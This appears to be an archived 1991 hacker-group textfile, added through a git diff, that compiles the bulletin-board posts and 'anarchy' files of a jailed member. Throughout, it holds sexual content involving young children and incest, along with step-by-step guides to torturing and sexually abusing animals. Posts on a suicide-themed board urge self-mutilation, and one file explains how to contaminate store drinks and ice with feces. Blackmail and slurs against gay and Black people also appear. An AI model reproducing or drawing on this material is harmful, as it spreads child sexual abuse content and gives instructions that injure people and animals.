WCT, All rights reserved + Any modifications to this text phile is a violation of copyright. + West Coast Technologies, Inc. 213/274+1333 + The Magical Mystery Board [TEMP--DOWN] +ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ diff --git a/textfiles.com/magazines/LOL/lol-19.phk b/textfiles.com/magazines/LOL/lol-19.phk new file mode 100644 index 00000000..be65fcc0 --- /dev/null +++ b/textfiles.com/magazines/LOL/lol-19.phk @@ -0,0 +1,890 @@ +Legions of Lucifer ('l‚jen ov l–cifŠr) n. 1. Any multitude of followers + of the chief evil spirit, Satan. 2. A group of Telecommunications and + Computer Experts that work together as one to cause havok in the + anarchy bound society of this nation. + +PHUCK : Phone Hackers United Crash Kill + +Legions of Lucifer merged with PHUCK, INC on January 15, 1991 at 11:41pm PST! +(That is the same day the Persian Gulf War started [Operation Desert Storm]) +We are now: LoL-Phuck + + + +[This is NOT regular LoL-Phuck material, we haven't done any anarchy based] +[text work in since issue number 5, but this was a personal favor to Dama-] +[ged Sectorz before being sent to jail.. Thank you. - Captain Swashbuckler] + + +This is compilation of the "SiCK" posts made by Damaged Sectorz (the ones +that we could find). It also has the last message posted by him to anyone +before going to prison. They come from many different boards, so please +enjoy... + +Contents: + - Last post made by him (Fairwell message to everyone) + - Posts from West Coast Technologies, Inc. + - Post from Realm of Chaos + - Posts from The Shinning Realm + - Small text files written by him (Really sick ones) + +The following message was the last message Damaged Sectorz left before going +to the Arizona jail awaiting trial. His lawyer says there is no chance of +getting out of this one. He will get a minimum sentence of 10 years in prison +w/o parole. He is currently 19yrs, when he gets out he will be 29. He gets out +in the year 2001. Before leaving, he requested me to compile as many of his +"SiCK" posts as possible, and release it as a LoL-Phuck text file. That +being his last request, I instantly agreed. He and I were (Still are) good +friends and I plan on still keeping in touch with him while he stays in jail. +When I first found out that he got busted, was when I remotly checked my +answering machine and heard a one minute message from him saying that he got +caught and to not be worried about him narcing on any one. He didn't use his +last call to call his lawyer... he used it to call me. To tell me what they +were asking him and what precautions to take.. unfortunatly, he was cut off +in one minute.. But he called me one day later and this is the outcome. + + +Left by: Damaged Sectorz on West Coast Technologies, Inc. +Title : hello +Date : June 1, 1991 @ 5:14 pm (PST) +To : friends and enemies +ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ + +fellow hackers and phreakers, I am calling from Sears, right at the present +time, they are checking out some illeagal calls from here. This will be my +last post for good. I have been busted. I have some serious charges against +me. + +Charges as followed: + +Hacking on a Gov't system (they can trace through divertors, i know) +635 system +433 system +426 system +Tymnet (they are billing me for using, Video, ParmasterX75, and Nethernet1) +possible credit card fraud + +shit, there is a ton, but you get the general idea, i wish all to delete me +from all boards. Anyone with my number, please destory it, for there is a DNR +on my line and they are just waiting for you to call. Also to stamp out the +tension, i will not narc on no one. No one did it to me, so i won't do it to +them. I have been questioned. LoL-Phuck was mentioned, EverLast was +mentioned, TouchTone, NPA, Deceptinist, a lot of people, and and a lot more +people are going down. shit, there is a raid this summer also(isn't it every +year it seems). Well i just called to say my goodbyes. + +oh yes, there will be no more sick posts by me, yes i know this is a totally +bummer, but hey you can still build up that left arm pretty well now thanxs to +me. hahahaha well goodbye friends + +yes one more thing, if possible can LoL-Phuck do one favor for me. Can you +guys have people upload all those sick posts that i put on boards and throw it +in a file for me and pass it around, would be greatly appeciated. you are +probably saying why you won't see it. Well not true, hold on Leper Messiah, +a close personal friend will visit me and he will bring it to me, but if this +is too much to ask for. So Be It! + + +masterbating with rectal juices mixing with your cum and you lick it off your +mom's pussy + +oh yea and don't forget that funky green ooze that hangs about 3 inches from +her cunt also + +Damaged + Mind Itself is After Me + + +****************************************************************************** +============================================================================== +The following messages are from: West Coast Technologies, Inc. +(Last board he ever called) +============================================================================== + + + +Faggot & Religion Bashing Title: ahhhh (No Replies) +Left by Damaged Sectorz (Level 50) When: May 6, 1991 at 6:51 pm +> <-602-> Elite User / in AoA < To: Anyone +ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ + +now come on you konw you like those tight asses, and those lucious mouth +watering rim jobs, hell i mean a personal ass liker, after you take a runny +shit, you know the kinds that go, blub blub blub +SSSSSpppppplllllluuuuurrrrrrgggg! and it runs down your leg and it's really +smelly and you don't want to get shit on your hands, that's when they come in +handy. ugh! sick + + +Damaged + Mind Itself is After Me + + +Command [2 of 21]: + + +Faggot & Religion Bashing Title: naaaa (No Replies) +Left by Damaged Sectorz (Level 50) When: May 8, 1991 at 9:20 pm +> <-602-> Elite User / in AoA < To: Anyone +ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ + +pour the coke into a dudes ass, and then shove a straw in there, but first +before you do that , make sure that about you and 20 other guys cum in his ass +and just forget the coke and have phun drinking! + +Damaged + Mind Itself is After Me + + +Command [5 of 21]: + + +Faggot & Religion Bashing Title: i (No Replies) +Left by Damaged Sectorz (Level 50) When: May 8, 1991 at 9:29 pm +> <-602-> Elite User / in AoA < To: Anyone +ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ + +have a question, how does one become gay??? does he walk down the street, and +suddenly think "Boy you know i think i like a riggid cock up my ass!". totally +fucking boggles me, why two males would engage, in deep throating each other, +filling up their stomach with white creamy liquid, you know the kind that sorta +klings to the back of your throat, and you cough a little. I think i might +understand why they "Butt-Fuck", for a asshole is tighter than any pussy +anyday. But why a guys? does a male rectum have certain qualities such as +soft, but hard feeling to it? does a male rectum have easier penetration but +still tight? Maybe it's when a guy cums it fills up the male rectum (maybe +it's shallow) and see's the cum cumming out of hole, sliding down the male +anus, onto his legs??? tell me this then? + +Damaged + Mind Itself is After Me + + +Command [6 of 21]: + + +Faggot & Religion Bashing Title: but (1 Reply) +Left by Damaged Sectorz (Level 50) When: May 8, 1991 at 9:37 pm +> <-602-> Elite User / in AoA < To: Anyone +ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ + +wait a minute, could it be that male rectal solids (or rectal juices depending +on the period of shit they are having), has a stimilating smell or texture to +it? Could these particular solids have a beautifying magic to it, does it +soften your skin? How can one male stand the feeling of a cum filled ass?, +walking around, feeling it drip out slowly, leaving a non-washable stain out of +HIS panties? How can a fag like to stick vibrators up their ass? Are there +sexual nerves in the ass? Could their be hidden qualities that us hetersexual +males do not want to face? Hell let's all go home and break out mom's and pops +and yes sisters vibrator too, and plunge them deep far into the unknown reaches +of your anal hole, yes it may hurt, but think of the pleasure of a real male +dick that is throbbing a good 10 or so inches. Pumping in and out of your ass, +hard making your butt cheeks wiggle, while you are sweating it. he comes to an +orgasm, you fill his cock stiffen, filling up your precious rectum with his +love cream. + +gkasffsagsjg + +d +d +d +Nasty i'm starting to gross myself out now + +Damaged + Mind Itself is After Me + + +Command [7 of 21]: + + +Faggot & Religion Bashing Title: but (1 Reply) +Left by Damaged Sectorz (Level 50) When: May 14, 1991 at 12:26 am +> <-602-> AoA Member < To: Anyone +ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ + +no one has answered my question. Ok is anyone here stimulated from the stench +of rectal solids, could be your mom's, your dogs, or a cows. don't matter?? +or maybe you mom's blood solidified tampoons or pads arouse your sexual +interests, has anyone got down on their knees to slowly likc the pussy juices +off their mom's legs and ate their own mom's out. or maybe thier mom's give +them good head before the go to bed or hell who here has fucked their sister, +you know in the mouth(knock a few teeth out), up the ass, or ate her pussy out. + Or how bout their trusty doggie out back??? can you too roll around in dog +shit while masterbating, and have multipile orgasms as your dad is jerkin' +himself off and recording this and selling it to a child pornography down the +street for $10 bucks + +Damaged + Mind Itself is After Me + + +Command [12 of 21]: + + +Faggot & Religion Bashing Title: plus! (1 Reply) +Left by Damaged Sectorz (Level 50) When: May 27, 1991 at 12:20 am +> <-602-> AoA Member < To: Anyone +ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ + +satan gives the best head too!!! i love it when he drags his fangs around my +stiff cock as i cream all over his face and then i pork him dry and give him +massive rug burns + +Damaged + Mind Itself is After Me + + +Command [19 of 21]: + + +Music - Occult - Devil Worship Title: naaaa (No Replies) +Left by Damaged Sectorz (Level 50) When: May 6, 1991 at 5:57 pm +> <-602-> Elite User / in AoA < To: Anyone +ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ + +what happens is that a line of guys, i say about 15o or so, stand in front of +her sweet, terrified, unbroken pussy, and one after another fuck the holy fuck +outta her. takes all night, but after wards, you see cum slowly drip out, +going splash on the ground, they then chant lord prayer backwards and carve +into her heart region and pull her heart out whhile she is awake and still +alive (wouldn't be no phun if they didn't) + +Damaged + Mind Itself is After Me + + +Command [2 of 20]: + + +Music - Occult - Devil Worship Title: but (1 Reply) +Left by Damaged Sectorz (Level 50) When: May 22, 1991 at 4:28 pm +> <-602-> AoA Member < To: Anyone +ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ + +wait there is a new satanic ritual, yes now since the decreasae of women +vigrins now they kidnapp and rap young men rectal openings!!!, plus they use +no lubrication for it doesn't allow them to get a direct contact with the Holy +One.. One of the more complicated ones is that if they find a 8 year male, +they try to stick 3 elongated meats into him, one in his mouth, and two up his +ass for a Triple 3 Effect + +Damaged + Mind Itself is After Me +/a + + +Command [11 of 20]: + + +Feeling Suicidal? 800-666-DEAD Title: it (1 Reply) +Left by Damaged Sectorz (Level 50) When: April 15, 1991 at 3:30 pm +> <-602-> Elite User / in AoA < To: Anyone +ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ + +means that death sexually excites you in some manner. Nothing really to worry +about. how bout this for a most trully die'n experience. Obtain a drill, find +a small drill bit, and drill slowly into the middle of your forehead. Better +yet take a powersaw and attempt this. Or take an M-80 and shove it up your +butt or swallow it + +Damaged + Mind Itself is After Me + + +Command [13 of 58]: + + +Feeling Suicidal? 800-666-DEAD Title: ahhh (2 Replies) +Left by Damaged Sectorz (Level 50) When: May 6, 1991 at 6:48 pm +> <-602-> Elite User / in AoA < To: Anyone +ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ + +looks like no one has posted here in a long time, well hell, got an idea for a +perfect gift for a person. Can be used for Christmas, Birthdays, Funerals too! +here's what you do, go get a whole jar of hot peppers (and i mean fucking hot +as hell). Pour it all into a bowl, and nuke it in a microwave. Now eat it +all, go to bed, now you are shore enuf gonna have to take a shit in the +morning, so have a bowl waiting. Take yer dump in that bowl, now strain all of +those big hunks raggy shit outta of there, Don't eat outta of it again, unless +your into shit flavored captain crunch. Anyways, now you have juices left, +well these juices have a special name, there Rectal Juices. In it's purest +form, now just pour you newly collected juices into a nice looking jar, +perferbly clear, so you can see that natural brown, with a slight red tint +colouring. Now give it too your girlfriend, Mom(hell mother's day is coming +up), fuck just drink the son-of-a-bitch. + +lates +Damaged + Mind Itself is After Me + + + +Command [49 of 58]: + + +Feeling Suicidal? 800-666-DEAD Title: look (No Replies) +Left by Damaged Sectorz (Level 50) When: May 6, 1991 at 8:55 pm +> <-602-> Elite User / in AoA < To: Anyone +ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ + +for my next phile, how to pluck your ingrown butt hairs + + +Damaged + Mind Itself is After Me + + +Command [51 of 58]: + + +Feeling Suicidal? 800-666-DEAD Title: well here ya guys go (2 R) +Left by Damaged Sectorz (Level 50) When: May 8, 1991 at 8:13 pm +> <-602-> Elite User / in AoA < To: Anyone +ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ + +have phun cappy with this one, dunno what i do with all of these sick anarchy +files i have, guess i'll just post em + + + ==How to Make a Scud Bomb===== + + ==Written by: Damaged===== + + ==3.31.91===== + + + + Haven't you always wondered, what good is shit? Well in this file we shall +discover the one of the many arts of playing with Shit. Sure it may stink, +has artifical flavors and not one of the most pleasant things to digest. But +we here at Shit-ARE-US have discovers several uses for it. Here we are +going to teach you how to be artful in one way of the Shit. So Be It. + +==Materials===== + +Quanity Item Obtained +------- ------------------- -------------------------------------------- + 1 Pan Kitchen + 1 Bowl Kitchen + 1 Fine Screen Front Door Screen + 1 Electric Burner Science Lab or Kitchen Stove(NOT RECOMMEND) + 1 Spoon Kitchen + MASS Cow Rectal Solids Pasture, don't dig in the toliet + MASS Condoms or Ballons Nearest Drug Store + + + + Well boys and girls, today we are going to teach you how to make your very +own "Scud Bomb". What is a Scud Bomb? Well it's basicly a bomb that is full +of moist gooey processed Cow Rectal Solids. Why use these cow by-products, +quite a simple explanation. Out of all the shit i have experimented with, +such testings as tasting, masterbating and other tests. Cow waste tends +to stay moist in an enclosed environment for long periods of time. Also it +clings better than any other waste. Why does it do this, well Cow's rectal +juices chemical structure allows this to happen. But I won't get into that. + + First off, you need to obtain a pan and hop over to the nearest pasture. +Best time to go is before the dawno have the rest of the above items dy +for use. + + Fire up your electric burner, set the pan down on it. With your spoon, +stir in great big circles, so that you can get all them there chunks out. +Addition, you should do this outside, if not I promise you that no fucking +cleaner or air freshener will kill that smell. Don't stop stiring, you +don't want the shit to burn to the bottom of the pan. Now when your pan +full of rectal waste has churned into a luquid form. Bring out the bowl +and set the fine screen on top of the bowl. Pour the cow luquidy rectal +solids into the bowl. What this does is screen out the rocks, glass +and other materials that may cause your containment unit to burst on you +and not your victim. Now we wouldn't want that, would we. Now do this +a few time. You may need to reheat it a few times depending on the +quanity of waste you are cooking. Now examine the shit by placing your +s nger into the bowl and search for foreign object that may endanger you. +After you have completed this, pour the processed material into a balloon, +or a condom. Push all the air bubbles out, for best impact results. You +should squish it around in your hand for a while. When most of the air +bubbles are gone, tie the balloon or conme uses as follows: Travel +to you +that you despise. Such as persons that listen to Jungle Music(Rap), and +has hair styles not of this world. Just simply walk right above them, +let go of you "Scud Bomb". Deserves those kinds of people right. Walk +along a main street or intersection. When some idiot drives by in a +Mercedes, with his driver window wide open. Just give you "Scud Bomb" +a lift off to cause shit fly. But ah, if you wish to use this as a +boycott type of situation, you can. Let's say you wish to boycott +7'11 or Circle K. Go down one of you local hated stores, take a "Scud Bomb" +bust it open and dump it in a few cups and put these cups back. You can +take a few more "Scud Bombs" and bust them open in the ice dispenser. For +when someone comes up and gets ice, he/she will get a interesting softdrink. + + +Wierd sick'n shit + + This Section is for ideas that are really disgusting. Now if you hang with +dudes that like to party, get stoned or really fucking drunk. Try to get one +of the males (drunk of course or stoned either way), to masterbate with shit. +Now make sure that you record wither. How bout this, you yourself (lguys +asshole for $200 bucks. Or Buttfuck a guy or chick, pull your dick out +and watch it becovered with green shit, with little dabs of blood dripping +off. Well enough of this kind of material. + + +==Damaged===== + +------------------------------------------------------------------------------ + + +Command [52 of 58]: + + +Feeling Suicidal? 800-666-DEAD Title: no no no no (1 Reply) +Left by Damaged Sectorz (Level 50) When: May 27, 1991 at 12:18 am +> <-602-> AoA Member < To: Anyone +ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ + +you must do this, bend over in doggie style position and ram a one of them here +10 feet thick vibrators in your ass dry and let it burn the edges of you rectal +opening. As for the thumbtack in the floor, one you forgot mass quanities of +rubbing alcohol on the floor, along with a foot of salt too. + +Damaged + Mind Itself is After Me +/a + +Command [57 of 58]: + +****************************************************************************** +============================================================================== +The following message are from: Realm of Chaos +============================================================================== + + + + +THE UNEXPLAINED Title: elvis (2 Replies) +Left by Damaged Sectorz (Level 35) When: May 2, 1991 at 9:11 pm +> -=602 Elite=- < To: Anyone +ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ + +his shore be alive right now. And i mean right now! mo' man i be fucking him +up the ass right now! Yessiree i be fuck'n him up the ass right now! Elivs +is alive! yes he be alive and tight! + +Damaged + Mind Itself is After Me + + +Command [5 of 23]: + + + + +****************************************************************************** +============================================================================== +The following messages are from: The Shinning Realm +============================================================================== + + + + + +Number: 20/50 [-Í- Insane Asylum -Í-] +Date : Tue 14 May 1991 11:55p +From : Damaged Sectorz #37 +Title : ahhh + >> This message has 1 reply + +welcome to the mind of the most demented h/p dude. Today girls and girls, we +shall learn how to lick pussy juices. you may so fucking what! well this is +the bitching part about it, read it, masterbate to it, sitck a beero bottle up +yr ass(with the top broken of course). + +First get you mom rfucking horny, hwo do you do this, well you can tie her +down, and finger her, but find a way. Now have her stand up, now she should +be so goddamn horny that her sweet pussy juices are ozzing out down her legs, +now gently lick her legs up and down, tongue her pussy, then lay her down and +eat your mom out, then have your dad pull out his dick and bang you up the +ass, and have your 3 year old baby sister suck your dick. Now all 4 of you +get int he bed and sux your dads dick as your mom gently applys her tongue to +you rectal areas, have her lick gently and then leave a fucking hickey on your +ass lips. Now mom, pop and you smear shit on little baby sister, now stick +your dick in her cunt + +<> lates dude finshi latur +Damaged + Mind Itself is After Me + +[-Í- Insane Asylum -Í- #5] +[20] Read (1-50,,?=help) : + +Number: 22/50 [-Í- Insane Asylum -Í-] +Date : Thu 16 May 1991 6:41p +From : Damaged Sectorz #37 +Title : ahhh + +just got done with my sister and my brother gently licking my anal opening. +yes it's nice to have PALS(personal ass lickers).ìã ûQÿû¤¼ haven't you guys +wnondered what it would be lick to waller around in dog feces? or stick your +dick up a dogs ass. or how bout this + + +some 200 pound fag rapes your ass without anyubrication.. + +or you are in hell, and your punishment is to fuck a girl, but this girl is +dry as hell and you have to keep fucking her until she cums, but she never +does, so therefore she stays dry...(goddamn anti-perspraint) + +Damaged + Mind Itself is After Me + +[-Í- Insane Asylum -Í- #5] +[22] Read (1-50,,?=help) : 24 + +Number: 24/50 [-Í- Insane Asylum -Í-] +Date : Sat 18 May 1991 1:55a +From : Damaged Sectorz #37 +Title : naaaa + +the women are lesibans and your can only shove broken bottles up your ass to +get any sexual gratification + +Damaged + Mind Itself is After Me + + +[-Í- Insane Asylum -Í- #5] +[26] Read (1-50,,?=help) : 35 + +Number: 35/50 [-Í- Insane Asylum -Í-] +Date : Fri 24 May 1991 8:18p +From : Damaged Sectorz #37 +Title : no + +now that is not the way to do this kind of thing. To be insane one must be +calm, patience, think his decieving plan through-out. this is the means to +your ends. The phun really starts when you plan kicks in and you know longer +can control your sexually excitement for virgin male asses, to have mutated +asshole babies with a new form of aids and herpes mixed and is spreaded by +their shit spraying up into the air for 50 yards. Anyways, you must be able +to endure pain, an example you may say, well forxample, i have a smiley face +(burn holes) about 6 inches long down my arm and about 3 in' high. it +consists of 2 eyes, a nose and one hella mouth. and do this job all in one +night, oh yes sit there and watch the skin being to ÿûslightly bubble, then +grow in size, then it will deflate, then the it will start runnign off your +arm exposing you pink virgin flesh beneath you skin. Now do this with your +rectal areas. You can create a homemade rib feeling, without a condom, do +this take a cigerette, and ÿûburn the edges of your rectal opening, now you +should have a phriend hold yourÿû ass down, and another one to seperate the +rectal cheeks, and one more to burn the holes in. + +<> You rectal opening should look like this + + ^^^( + ))( +()( + ^^^ + +now see all thoughs new bumps and curves gareentee to give an stimulate sexual +experince for all you homo-heteral encounters., this little trick also works +on animals too!! + +ahh shit i must go and beat my pecker with a shampoo bottle openging now + +lates +Damaged + Mind Itself is After Me +s + +[-Í- Insane Asylum -Í- #5] +[35] Read (1-50,,?=help) : + + + +****************************************************************************** +============================================================================== +The followings are two anarchy (GROSS) text file he wrote.. +============================================================================== + + + + + +:: Planned ParentHood for Phelines :: + +;Damaged Sectorz +;2.14.91 +;Anarchists of America + + +:: Introduction :: + + Ok dudes this is my first Anarchy file. Anyways, the file is all about cat + abortions. Why the reason for cats, well i hate the goddamn shitheads for + specific reasons. That i won't get into. Well enjoy the file and have fun. + + +:: Materials Needed :: + + Propane torch + Coat Hanger + Gloves + Rope + Nails + Hammer + Drugs + & a cat of course + + +:: How to get started :: + + Obtain the listed materials needed. Now toke a little, fry or whatever gets + ya going dudes. Take out the coat hanger and bend it into a fairly straight + wire. Bend the wire into a U shape. Take one side of the U shape and bend + it downwards. Wrap the shortest outter wire and wrap it around the middle + wire. Ah fuck just look at the diagram below and figure it out yourselves. + + _ + Here is the | | now bend the wire | | + U Shape | | into this | | | <-- wrap this around + |___| | |__| the middle section + 13 times for good + luck + + You should also make sure that the the rounded part is small enough to fit + nice and snug into a kitty's pussy. + + +:: Fun Part :: + + How do one go about in find a victim. Well just look around you friendly + neighbor and there should be plenty. Now don't go after the stray ones, for + more than likely have been diseased with some exotic cat veneral disease or + something. Go after the ones iwth homes, for you can strike pain and loss in + that family. Cause them to get really pissed and never have cats again. + Besides save the strays for the days when you find your mom's vibartor and + shove it up a cat's ass and turn it on and watch them run down the streets. + But back to the topic. + + During the cat's obtainment and scraping, You must wear gloves, unless you + like to be scratched to hell and back. Now there are several ways to hold a + cat down. You should experiment on this. I have usualy taken a cat and nail + his damn paws to the ground. Hell take a nail gun and nail the bitch to the + middle of the street or on someone's front door. And do it from there. Let + the cat suffer for a while. While this poor ass is dying slowly pour some + alcohol on it's wounds, now we don't want this nice little kitty to get + infections do we now doctor. Pull out the noose you made earlier and heat it + up with the torch. Here you should be wearing the gloves or i promise you + that jacking off will be much harder to do. Anyways heat up the end of the + noose, wait for the shit to shine real bright orange or yellow. Some coat + hangers will even turn white. Make sure you don't melt the damn noose. Now + gently insert the heated end of the noose into the cat's pussy so the cat + doesn't freak out and shit. Now jam the motherfucker all around, in and out + real hard, you will be able to tell when you finished until the air is full + of burnt pussy stench. Make sure you get evey last one of those bastard + kittens out of there. Take what remains of the aborted fetus and other bits + of flesh into a zip lock baggie. These make nice sandwhiches for lunches and + dinners. After you have finished, pour alcohol down the cat's cunt so it no + infections will occur. Don't bother taken the nails out, just grab the body + and give a good yank. Now after this procedure, i doubt the shithead will be + able to walk away. Now to prove that you are a friendly neighbor just like + Mr. Roger, take it back to the neighbors that you found nailgun it to their + door and take a razor blade and run a quick line down from it's neck to it's + cunt and leave. + + Now you really can't tell which cat, dog is pregnat so hell violate everyone + of those bright pink pussies, hell lick them real good too. The best part + about this is that it will even work on your girlfriend, if she decides to + put a hole in your rubber to make sure you don't leave her. + + + :: Other Sick Ideas :: + + With this new knowledge that you have, you can do many other things with it. + Like for instance bring along a tape recorder or camcorder and record all + abortions. Go home and beat yourself while watching it. You can sell it to + little kids or Underground video stores. Be creative when doing this you + can make some money. Now for you sick-o's (haven't found one like me yet + but oh well). Here take a knife and gently cut the tender pink pussy flesh + of the kitty's wet hot steaming love box. Slide your love rod into and bang + the holy hell out of it. Then flip the bitch over and ram your dick into + the ass dry, you can feel the skin strech and split open. Ram it hard and + feel the blood run down you dick, around your balls (have little sister + there to lick it off) and pull out and lick the shit off your dick. Now + make sure you record this too and don't forget Captian Condom says "Cover + that Booger". + + +-: Damaged Sectorz :- + -: AoA :- + +------------------------------------------------------------------------------ + + + + This Section is for ideas that are really disgusting. Now if you hang with +dudes that like to party, get stoned or really fucking drunk. Try to get one +of the males (drunk of course or stoned either way), to masterbate with shit. +Now make sure that you record with a camcorder. Then turn around and blackmail +his ass for some quality drugs. Now i have heard and seen pornos that do this, +some people that are kinky, and i mean really fucking kinky, like to fuck and +smear gooey mounds of shit on each other. How bout this, you yourself (let's +just say your might be a heteralsexual) decided to get down and lick some +guys asshole for $200 bucks. Or Buttfuck a guy or chick, pull your dick out +and watch it becovered with green shit, with little dabs of blood dripping +off. Well enough of this kind of material. + + + +:: How to molest animals :: + + + Well welcome to another one of my sick and disgusting files that should +be rather refresh'n to most of the general public that i know. This file +wouldn't faze most dudes i know, but if you are the squemish types, just +go grab a plastic baggie and puke in it whenever you want while reading this +file. After done reading go to yer friendly neighbors house, throw it in the +microwave and nuke it for about 20 minutes. Well enuf with the intro. lates + + + Welcome to the "Wonderful World of Animals". Today we shall be discussing + on how to have interesting satisfing sexual pleasures with animals. We + shall be on the lines of talking of selecting a victim, penertrate your + victim, how to successfully have intercourse and reach that allmighty climax + that your need real bad and also other sexual pleasures as well. + + Now every animal molester needs certain tools to help him or her along. + The following items should be thrown in to a backpack for easy carrying + around. Plus this allows you to definitely hit 3 or 4 victims a night. + + The Animal Molester Kit should contain the following: + + Item +--------------------------------- + Knife + Vasiline + Hammer + Rubbers + Bunjie Cords + Camcorder + Drugs + + Now this is the hardest thing about molesting an animal. It's the variety + of theses creatures. If it has a pussy or an asshole, then you can + stimulate yourself quite easily. + How to Select yer victim, the best thing about molesting animals + is that there is a variety. You can bang cats, dogs, sheeps, hell if you + really need bad try fucking a cow or something. + + Ok you found yer victim, what now, well let's follow the Polish Notation +in sex. Rule #1: In Out, Rule #2: Repeat if nesscarry. Now you have +a choice in molesting an animal. You can bang it's pussy, but if yer luck +runs dry and you can only find a dog, get it up the ass. If you have +problems with the anal intercourse, use the vasiline for easier penetration. +But what if yer dick is bigger than the pussy and asshole(yea right), well if +you fit that category just fucking make it bigger with the damn knife. Now +if yer victim resists, just slam it on top of the head with yer pecker, but +if yer limp, just knock around on its head with the hammer. Now you can +use a rubber or such what (Fuck Dr. Ruth), but i perfer Flesh to Flesh. Hell +the blood running around yer dick could be exciting. Imagine it's like +busting a virgin everytime. So go out and fuck until you Drop! + + +Other Sick Shit + + Boy now lets say yer the kinky type, now i wouldn't recommend you to try +to stick yer dick in an animal's mouth. If you do expect the shithead to +bite it off. Now you don't wanna be jumping around with blood squirting +outta the base of yer dick now would you? Anyways if you get off on sucking +dogs dicks and shit go for it. Try fingering a horse or something too. Or +Give a Cow a nice mouth watering rim job. If yer male and gay (don't know +how this would be done but...) try to have a horse fuck you up the ass, seems +a little possible but it fits on this sub title for all i care. Now also +make sure you tape every sexual intercourse with different animals, so you can +go home and watch while eat'n some popcorn and playing with yer girlfriend's +tits, while she's upheaving in your lap. + + + Well dudes nice quick and dirty file, but hey it was an idea. But hey it's +a wierd concept and i like wierd sick shit. Well have phun guys and don't +be stupid and catch some lame ass animal veneral disease. + +****************************************************************************** +============================================================================== +============================================================================== + +Well dude... it's finally happened, I don't know how long it will be before +you get a chance to read this.. I sure it will be soon, since you said you +can have some1 bring it to you printed. Hmmm, I was more then happy to pub- +lish this for you. We were more then just friends, we were companions, and +I am sure I speak for the many that know you when I say that I will miss +your disgusting and filthy posts and raw, vulgar, crude and halarious sense +of humor (if 